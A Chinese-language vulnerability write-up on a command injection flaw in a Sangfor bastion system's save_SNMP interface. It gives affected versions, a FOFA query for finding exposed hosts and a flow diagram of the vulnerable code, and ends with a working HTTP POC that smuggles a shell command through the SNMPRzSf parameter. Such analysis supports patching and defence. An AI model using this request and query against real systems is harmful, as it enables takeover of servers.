漏洞简介
深信服运维安全管理系统 save_SNMP 接口存在远程命令执行漏洞。攻击者可通过构造恶意的请求,利用该漏洞在目标服务器上执行任意命令,从而可能导致服务器被完全控制、敏感数据泄露等严重后果。影响范围包括所有运行存在该漏洞版本的深信服运维安全管理系统的服务器。
影响版本
低于 3.0.12 20241106
fofa语法
body="/fort/login" && header="FORTSESSIONID"
漏洞分析
看下 com.sbr.fort.web.controller.system.snmp.SNMPController#save_SNMP的实现逻辑

代码太长,还是来个流程图,一目了然


文字版本
┌─────────────────────────────────────────────────────────────┐
│ 用户发起 POST /save_SNMP 请求 │
│ 参数:SNMPedition, SNMPYhName, SNMPRzPw, │
│ SNMPRzSf, SNMPJmPw, SNMPJmSf, SNMPAddress等 │
└───────────────────┬─────────────────────────────────────────┘
│
▼
┌───────────────────────┐
│ 获取请求参数 │
│ - 解密部分参数 │
│ (Decrypt) │
└───────────┬───────────┘
│
▼
┌───────────────────────┐
│ SNMPAddress │
│ 长度校验 (>=130?) │
└───────────┬───────────┘
│
┌───────┴────────┐
│ │
是 否
│ │
▼ ▼
┌────────┐ ┌──────────────────┐
│ 返回 │ │ SNMPedition 判断 │
│ 错误 │ │ v2 or v3? │
└────────┘ └────────┬─────────┘
│
┌─────────┴─────────┐
│ │
v2 v3
│ │
▼ ▼
┌──────────────────┐ ┌────────────────────┐
│ SNMPName │ │ SNMPYhName │
│ 格式校验 (TNAME) │ │ 格式校验 (TNAME) │
│ ✅ 有正则保护 │ │ ✅ 有正则保护 │
└─────────┬────────┘ └──────────┬─────────┘
│ │
▼ ▼
┌──────────────────┐ ┌────────────────────────┐
│ SNMPAddress │ │ SNMPsecurityLevel 判断 │
│ IP 格式校验 │ │ - noAuthNoPriv │
│ ✅ 有正则保护 │ │ - authNopriv │
└─────────┬────────┘ │ - authPriv │
│ └──────────┬─────────────┘
│ │
│ ┌──────────┼──────────┐
│ │ │ │
│ noAuthNoPriv authNopriv authPriv
│ │ │ │
│ ▼ ▼ ▼
│ ┌─────────┐ ┌───────┐ ┌───────┐
│ │只拼接 │ │拼接3个 │ │拼接5个 │
│ │YhName │ │参数 │ │参数 │
│ └─────────┘ └───────┘ └───────┘
│ │ │
▼ ▼ ▼
┌──────────────────────────────────────────────────┐
│ 构造 shell 命令字符串 │
│ │
│ v2: "bash ... change v2 " + SNMPName │
│ │
│ v3 noAuthNoPriv: │
│ "bash ... change v3 noAuthNoPriv " + │
│ SNMPYhName │
│ │
│ v3 authNopriv: │
│ "bash ... change v3 AuthNoPriv " + │
│ SNMPYhName + " " + │
│ SNMPRzPw + " " + ⚠️ 未验证 │
│ SNMPRzSf ⚠️ 未验证 │
│ │
│ v3 authPriv: │
│ "bash ... change v3 AuthPriv " + │
│ SNMPYhName + " " + │
│ SNMPRzPw + " " + ⚠️ 未验证 │
│ SNMPRzSf + " " + ⚠️ 未验证 │
│ SNMPJmPw + " " + ⚠️ 未验证 │
│ SNMPJmSf ⚠️ 未验证 │
└─────────────────────┬────────────────────────────┘
│
▼
┌──────────────────────────┐
│ executor.exe(shell) │
│ ? 命令注入触发点 │
└──────────────────────────┘
│
▼
┌──────────────────────────┐
│ 操作系统执行恶意命令 │
│ 例: id > /tmp/pwned │
└──────────────────────────┘
- 起点:流程始于外部对
/save_SNMP接口的HTTP请求。 - 参数获取:程序首先获取所有用户提交的参数。
- 核心分支 (SNMPedition):
- v3 漏洞路径:
- 在
v3路径下,程序会先校验SNMPYhName,这同样是安全的。 - 关键在于后续对
SNMPsecurityLevel的判断:- 当
securityLevel为authNopriv或authPriv时(图中红色高亮节点),程序会将多个未经任何安全校验的参数(如SNMPRzSf,SNMPRzPw等)直接拼接到shell命令字符串中。
- 当
- 在
- 危险调用 (Sink Point):
- 无论通过哪个分支,最终构造好的
shell字符串都会被传递给executor.exe()方法执行。 - 当攻击者通过红色高亮路径,在
SNMPRzSf等参数中注入了恶意命令(例如MD5; id),拼接后的shell字符串就会包含恶意部分,最终导致任意命令执行。
- 无论通过哪个分支,最终构造好的
漏洞复现

POC
POST /fort/system;help/SNMP/save_SNMP HTTP/1.1
Host: sangfor_osm.mrxn.net
Content-Type: application/x-www-form-urlencoded
SNMPedition=v3&SNMPsecurityLevel=authPriv&SNMPYhName=testuser&SNMPRzPw=test&SNMPJmPw=test&SNMPJmSf=AES&SNMPRzSf=MD5;RCE_POC&SNMPAddress=127.0.0.1
访问命令执行结果文件

成功执行 id 命令并回显命令执行结果。


